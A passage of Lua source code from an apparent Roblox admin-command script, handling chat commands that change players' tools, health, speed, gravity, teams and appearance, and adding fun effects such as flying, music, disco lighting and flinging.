  1986. if msg:lower():sub(1,12) == "removetools " then
  1987. local plrz = GetPlr(plr, msg:lower():sub(13))
  1988. for i, v in pairs(plrz) do
  1989. coroutine.resume(coroutine.create(function()
  1990. if v and v.Character and v:findFirstChild("Backpack") then
  1991. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1992. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1993. end
  1994. end))
  1995. end
  1996. end
  1997.  
  1998. if msg:lower():sub(1,5) == "rank " then
  1999. local chk1 = msg:lower():sub(6):find(" ") + 5
  2000. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2001. for i, v in pairs(plrz) do
  2002. coroutine.resume(coroutine.create(function()
  2003. if v and v:IsInGroup(msg:sub(chk1+1)) then
  2004. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  2005. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  2006. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  2007. end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. if msg:lower():sub(1,7) == "damage " then
  2013. local chk1 = msg:lower():sub(8):find(" ") + 7
  2014. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2015. for i, v in pairs(plrz) do
  2016. coroutine.resume(coroutine.create(function()
  2017. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2018. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  2019. end
  2020. end))
  2021. end
  2022. end
  2023.  
  2024. if msg:lower():sub(1,5) == "grav " then
  2025. local plrz = GetPlr(plr, msg:lower():sub(6))
  2026. for i, v in pairs(plrz) do
  2027. coroutine.resume(coroutine.create(function()
  2028. if v and v.Character and v.Character:findFirstChild("Torso") then
  2029. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2030. end
  2031. end))
  2032. end
  2033. end
  2034.  
  2035. if msg:lower():sub(1,8) == "setgrav " then
  2036. local chk1 = msg:lower():sub(9):find(" ") + 8
  2037. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  2038. for i, v in pairs(plrz) do
  2039. coroutine.resume(coroutine.create(function()
  2040. if v and v.Character and v.Character:findFirstChild("Torso") then
  2041. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2042. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2043. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  2044. end
  2045. end))
  2046. end
  2047. end
  2048.  
  2049. if msg:lower():sub(1,7) == "nograv " then
  2050. local plrz = GetPlr(plr, msg:lower():sub(8))
  2051. for i, v in pairs(plrz) do
  2052. coroutine.resume(coroutine.create(function()
  2053. if v and v.Character and v.Character:findFirstChild("Torso") then
  2054. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2055. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2056. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  2057. end
  2058. end))
  2059. end
  2060. end
  2061.  
  2062. if msg:lower():sub(1,7) == "health " then
  2063. local chk1 = msg:lower():sub(8):find(" ") + 7
  2064. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2065. for i, v in pairs(plrz) do
  2066. coroutine.resume(coroutine.create(function()
  2067. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2068. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  2069. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2070. end
  2071. end))
  2072. end
  2073. end
  2074.  
  2075. if msg:lower():sub(1,6) == "speed " then
  2076. local chk1 = msg:lower():sub(7):find(" ") + 6
  2077. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2078. for i, v in pairs(plrz) do
  2079. coroutine.resume(coroutine.create(function()
  2080. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2081. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  2082. end
  2083. end))
  2084. end
  2085. end
  2086.  
  2087. if msg:lower():sub(1,5) == "team " then
  2088. local chk1 = msg:lower():sub(6):find(" ") + 5
  2089. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2090. for i, v in pairs(plrz) do
  2091. coroutine.resume(coroutine.create(function()
  2092. if v and game:findFirstChild("Teams") then
  2093. for a, tm in pairs(game.Teams:children()) do
  2094. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  2095. end
  2096. end
  2097. end))
  2098. end
  2099. end
  2100.  
  2101. if msg:lower():sub(1,6) == "place " then
  2102. local chk1 = msg:lower():sub(7):find(" ") + 6
  2103. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2104. for i, v in pairs(plrz) do
  2105. coroutine.resume(coroutine.create(function()
  2106. if v and v:findFirstChild("PlayerGui") then
  2107. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  2108. end
  2109. end))
  2110. end
  2111. end
  2112.  
  2113. if msg:lower():sub(1,3) == "tp " then
  2114. local chk1 = msg:lower():sub(4):find(" ") + 3
  2115. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2116. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  2117. for i, v in pairs(plrz) do
  2118. coroutine.resume(coroutine.create(function()
  2119. for i2, v2 in pairs(plrz2) do
  2120. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  2121. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  2122. end
  2123. end
  2124. end))
  2125. end
  2126. end
  2127.  
  2128. if msg:lower():sub(1,7) == "change " then
  2129. local chk1 = msg:lower():sub(8):find(" ") + 7
  2130. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  2131. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2132. for i, v in pairs(plrz) do
  2133. coroutine.resume(coroutine.create(function()
  2134. if v and v:findFirstChild("leaderstats") then
  2135. for a, st in pairs(v.leaderstats:children()) do
  2136. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  2137. end
  2138. end
  2139. end))
  2140. end
  2141. end
  2142.  
  2143. if msg:lower():sub(1,6) == "shirt " then
  2144. local chk1 = msg:lower():sub(7):find(" ") + 6
  2145. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2146. for i, v in pairs(plrz) do
  2147. coroutine.resume(coroutine.create(function()
  2148. if v and v.Character then
  2149. for i,v in pairs(v.Character:children()) do
  2150. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2151. end
  2152. end
  2153. end))
  2154. end
  2155. end
  2156.  
  2157. if msg:lower():sub(1,6) == "pants " then
  2158. local chk1 = msg:lower():sub(7):find(" ") + 6
  2159. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2160. for i, v in pairs(plrz) do
  2161. coroutine.resume(coroutine.create(function()
  2162. if v and v.Character then
  2163. for i,v in pairs(v.Character:children()) do
  2164. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2165. end
  2166. end
  2167. end))
  2168. end
  2169. end
  2170.  
  2171. if msg:lower():sub(1,5) == "face " then
  2172. local chk1 = msg:lower():sub(6):find(" ") + 5
  2173. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2174. for i, v in pairs(plrz) do
  2175. coroutine.resume(coroutine.create(function()
  2176. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  2177. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  2178. end
  2179. end))
  2180. end
  2181. end
  2182.  
  2183. ---------------------
  2184. -- FunCommands --
  2185. ---------------------
  2186. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2187.  
  2188. if msg:lower():sub(1,8) == "swagify " then
  2189. local plrz = GetPlr(plr, msg:lower():sub(9))
  2190. for i, v in pairs(plrz) do
  2191. coroutine.resume(coroutine.create(function()
  2192. if v and v.Character then
  2193. for i,v in pairs(v.Character:children()) do
  2194. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2195. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2196. end
  2197. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  2198. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  2199. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2200. local torso = plr.Character.Torso
  2201. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2202. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  2203. p.Size = Vector3.new(.2,.2,.2)
  2204. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2205. local motor1 = Instance.new("Motor", p)
  2206. motor1.Part0 = p
  2207. motor1.Part1 = torso
  2208. motor1.MaxVelocity = .01
  2209. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  2210. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2211. local wave = false
  2212. repeat wait(1/44)
  2213. local ang = 0.1
  2214. local oldmag = torso.Velocity.magnitude
  2215. local mv = .002
  2216. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2217. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2218. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2219. motor1.DesiredAngle = -ang
  2220. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2221. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2222. if torso.Velocity.magnitude < .1 then wait(.1) end
  2223. until not p or p.Parent ~= torso.Parent
  2224. script:Destroy()
  2225. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  2226. end
  2227. end))
  2228. end
  2229. end
  2230.  
  2231. if msg:lower():sub(1,6) == "music " then
  2232. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2233. local id = msg:sub(7)
  2234. local pitch = 1
  2235. if tostring(id):lower():find("caramell") then id = 2303479 end
  2236. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  2237. if tostring(id):find("rick") then id = 2027611 end
  2238. if tostring(id):find("halo") then id = 1034065 end
  2239. if tostring(id):find("pokemon") then id = 1372261 end
  2240. if tostring(id):find("cursed") then id = 1372257 end
  2241. if tostring(id):find("extreme") then id = 11420933 end
  2242. if tostring(id):find("awaken") then id = 27697277 end
  2243. if tostring(id):find("alone") then id = 27697392 end
  2244. if tostring(id):find("mario") then id = 1280470 end
  2245. if tostring(id):find("choir") then id = 1372258 end
  2246. if tostring(id):find("chrono") then id = 1280463 end
  2247. if tostring(id):find("dotr") then id = 11420922 end
  2248. if tostring(id):find("entertain") then id = 27697267 end
  2249. if tostring(id):find("fantasy") then id = 1280473 end
  2250. if tostring(id):find("final") then id = 1280414 end
  2251. if tostring(id):find("emblem") then id = 1372259 end
  2252. if tostring(id):find("flight") then id = 27697719 end
  2253. if tostring(id):find("banjo") then id = 27697298 end
  2254. if tostring(id):find("gothic") then id = 27697743 end
  2255. if tostring(id):find("hiphop") then id = 27697735 end
  2256. if tostring(id):find("intro") then id = 27697707 end
  2257. if tostring(id):find("mule") then id = 1077604 end
  2258. if tostring(id):find("film") then id = 27697713 end
  2259. if tostring(id):find("nezz") then id = 8610025 end
  2260. if tostring(id):find("angel") then id = 1372260 end
  2261. if tostring(id):find("resist") then id = 27697234 end
  2262. if tostring(id):find("schala") then id = 5985787 end
  2263. if tostring(id):find("organ") then id = 11231513 end
  2264. if tostring(id):find("tunnel") then id = 9650822 end
  2265. if tostring(id):find("spanish") then id = 5982975 end
  2266. if tostring(id):find("venom") then id = 1372262 end
  2267. if tostring(id):find("wind") then id = 1015394 end
  2268. if tostring(id):find("guitar") then id = 5986151 end
  2269. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  2270. end
  2271.  
  2272. if msg:lower() == "stopmusic" then
  2273. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2274. end
  2275.  
  2276. if msg:lower() == "musiclist" then
  2277. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  2278. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  2279. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  2280. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2281. end
  2282.  
  2283. if msg:lower():sub(1,4) == "fly " then
  2284. local plrz = GetPlr(plr, msg:lower():sub(5))
  2285. for i, v in pairs(plrz) do
  2286. coroutine.resume(coroutine.create(function()
  2287. if v and v:findFirstChild("PlayerGui") then
  2288. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  2289. local mouse = game.Players.LocalPlayer:GetMouse()
  2290. repeat wait() until mouse
  2291. local plr = game.Players.LocalPlayer
  2292. local torso = plr.Character.Torso
  2293. local flying = true
  2294. local deb = true
  2295. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  2296. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  2297. local maxspeed = 50
  2298. local speed = 0
  2299. function Fly()
  2300. local bg = Instance.new("BodyGyro", torso)
  2301. bg.P = 9e4
  2302. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  2303. bg.cframe = torso.CFrame
  2304. local bv = Instance.new("BodyVelocity", torso)
  2305. bv.velocity = Vector3.new(0,0.1,0)
  2306. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  2307. repeat wait()
  2308. plr.Character.Humanoid.PlatformStand = true
  2309. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  2310. speed = speed+.5+(speed/maxspeed)
  2311. if speed > maxspeed then
  2312. speed = maxspeed
  2313. end
  2314. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  2315. speed = speed-1
  2316. if speed < 0 then
  2317. speed = 0
  2318. end
  2319. end
  2320. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  2321. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  2322. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  2323. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  2324. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  2325. else
  2326. bv.velocity = Vector3.new(0,0.1,0)
  2327. end
  2328. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  2329. until not flying
  2330. ctrl = {f = 0, b = 0, l = 0, r = 0}
  2331. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  2332. speed = 0
  2333. bg:Destroy()
  2334. bv:Destroy()
  2335. plr.Character.Humanoid.PlatformStand = false
  2336. end
  2337. mouse.KeyDown:connect(function(key)
  2338. if key:lower() == "e" then
  2339. if flying then flying = false
  2340. else
  2341. flying = true
  2342. Fly()
  2343. end
  2344. elseif key:lower() == "w" then
  2345. ctrl.f = 1
  2346. elseif key:lower() == "s" then
  2347. ctrl.b = -1
  2348. elseif key:lower() == "a" then
  2349. ctrl.l = -1
  2350. elseif key:lower() == "d" then
  2351. ctrl.r = 1
  2352. end
  2353. end)
  2354. mouse.KeyUp:connect(function(key)
  2355. if key:lower() == "w" then
  2356. ctrl.f = 0
  2357. elseif key:lower() == "s" then
  2358. ctrl.b = 0
  2359. elseif key:lower() == "a" then
  2360. ctrl.l = 0
  2361. elseif key:lower() == "d" then
  2362. ctrl.r = 0
  2363. end
  2364. end)
  2365. Fly()]]
  2366. cl.Parent = v.PlayerGui cl.Disabled = false
  2367. end
  2368. end))
  2369. end
  2370. end
  2371.  
  2372. if msg:lower():sub(1,6) == "unfly " then
  2373. local plrz = GetPlr(plr, msg:lower():sub(7))
  2374. for i, v in pairs(plrz) do
  2375. coroutine.resume(coroutine.create(function()
  2376. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2377. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  2378. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  2379. wait(.1) v.Character.Humanoid.PlatformStand = false
  2380. end
  2381. end))
  2382. end
  2383. end
  2384.  
  2385. if msg:lower() == "disco" then
  2386. for i, v in pairs(lobjs) do v:Destroy() end
  2387. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  2388. game.Lighting.Ambient = color
  2389. game.Lighting.FogColor = color
  2390. until nil]]
  2391. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2392. end
  2393.  
  2394. if msg:lower() == "flash" then
  2395. for i, v in pairs(lobjs) do v:Destroy() end
  2396. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  2397. game.Lighting.Ambient = Color3.new(1,1,1)
  2398. game.Lighting.FogColor = Color3.new(1,1,1)
  2399. game.Lighting.Brightness = 1
  2400. game.Lighting.TimeOfDay = 14
  2401. wait(.1)
  2402. game.Lighting.Ambient = Color3.new(0,0,0)
  2403. game.Lighting.FogColor = Color3.new(0,0,0)
  2404. game.Lighting.Brightness = 0
  2405. game.Lighting.TimeOfDay = 0
  2406. until nil]]
  2407. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2408. end
  2409.  
  2410. if msg:lower():sub(1,5) == "spin " then
  2411. local plrz = GetPlr(plr, msg:lower():sub(6))
  2412. for i, v in pairs(plrz) do
  2413. coroutine.resume(coroutine.create(function()
  2414. if v and v.Character and v.Character:findFirstChild("Torso") then
  2415. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  2416. local torso = v.Character:findFirstChild("Torso")
  2417. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  2418. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  2419. until not bg or bg.Parent ~= torso
  2420. end
  2421. end))
  2422. end
  2423. end
  2424.  
  2425. if msg:lower():sub(1,7) == "unspin " then
  2426. local plrz = GetPlr(plr, msg:lower():sub(8))
  2427. for i, v in pairs(plrz) do
  2428. coroutine.resume(coroutine.create(function()
  2429. if v and v.Character and v.Character:findFirstChild("Torso") then
  2430. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  2431. end
  2432. end))
  2433. end
  2434. end
  2435.  
  2436. if msg:lower():sub(1,4) == "dog " then
  2437. local plrz = GetPlr(plr, msg:lower():sub(5))
  2438. for i, v in pairs(plrz) do
  2439. coroutine.resume(coroutine.create(function()
  2440. if v and v.Character and v.Character:findFirstChild("Torso") then
  2441. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2442. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2443. v.Character.Torso.Transparency = 1
  2444. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2445. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  2446. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  2447. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  2448. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  2449. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  2450. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  2451. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  2452. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  2453. end
  2454. end))
  2455. end
  2456. end
  2457.  
  2458. if msg:lower():sub(1,6) == "undog " then
  2459. local plrz = GetPlr(plr, msg:lower():sub(7))
  2460. for i, v in pairs(plrz) do
  2461. coroutine.resume(coroutine.create(function()
  2462. if v and v.Character and v.Character:findFirstChild("Torso") then
  2463. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2464. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2465. v.Character.Torso.Transparency = 0
  2466. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2467. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2468. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2469. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2470. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2471. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2472. end
  2473. end))
  2474. end
  2475. end
  2476.  
  2477. if msg:lower():sub(1,8) == "creeper " then
  2478. local plrz = GetPlr(plr, msg:lower():sub(9))
  2479. for i, v in pairs(plrz) do
  2480. coroutine.resume(coroutine.create(function()
  2481. if v and v.Character and v.Character:findFirstChild("Torso") then
  2482. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2483. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2484. v.Character.Torso.Transparency = 0
  2485. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2486. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  2487. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  2488. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  2489. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  2490. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  2491. end
  2492. end))
  2493. end
  2494. end
  2495.  
  2496. if msg:lower():sub(1,10) == "uncreeper " then
  2497. local plrz = GetPlr(plr, msg:lower():sub(11))
  2498. for i, v in pairs(plrz) do
  2499. coroutine.resume(coroutine.create(function()
  2500. if v and v.Character and v.Character:findFirstChild("Torso") then
  2501. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2502. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2503. v.Character.Torso.Transparency = 0
  2504. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2505. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2506. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2507. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2508. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2509. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2510. end
  2511. end))
  2512. end
  2513. end
  2514.  
  2515. if msg:lower():sub(1,8) == "bighead " then
  2516. local plrz = GetPlr(plr, msg:lower():sub(9))
  2517. for i, v in pairs(plrz) do
  2518. coroutine.resume(coroutine.create(function()
  2519. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2520. end))
  2521. end
  2522. end
  2523.  
  2524. if msg:lower():sub(1,9) == "minihead " then
  2525. local plrz = GetPlr(plr, msg:lower():sub(10))
  2526. for i, v in pairs(plrz) do
  2527. coroutine.resume(coroutine.create(function()
  2528. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2529. end))
  2530. end
  2531. end
  2532.  
  2533. if msg:lower():sub(1,6) == "fling " then
  2534. local plrz = GetPlr(plr, msg:lower():sub(7))
  2535. for i, v in pairs(plrz) do
  2536. coroutine.resume(coroutine.create(function()
  2537. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2538. local xran local zran
  2539. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2540. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2541. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  2542. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2543. end
  2544. end))
  2545. end
  2546. end
  2547.  
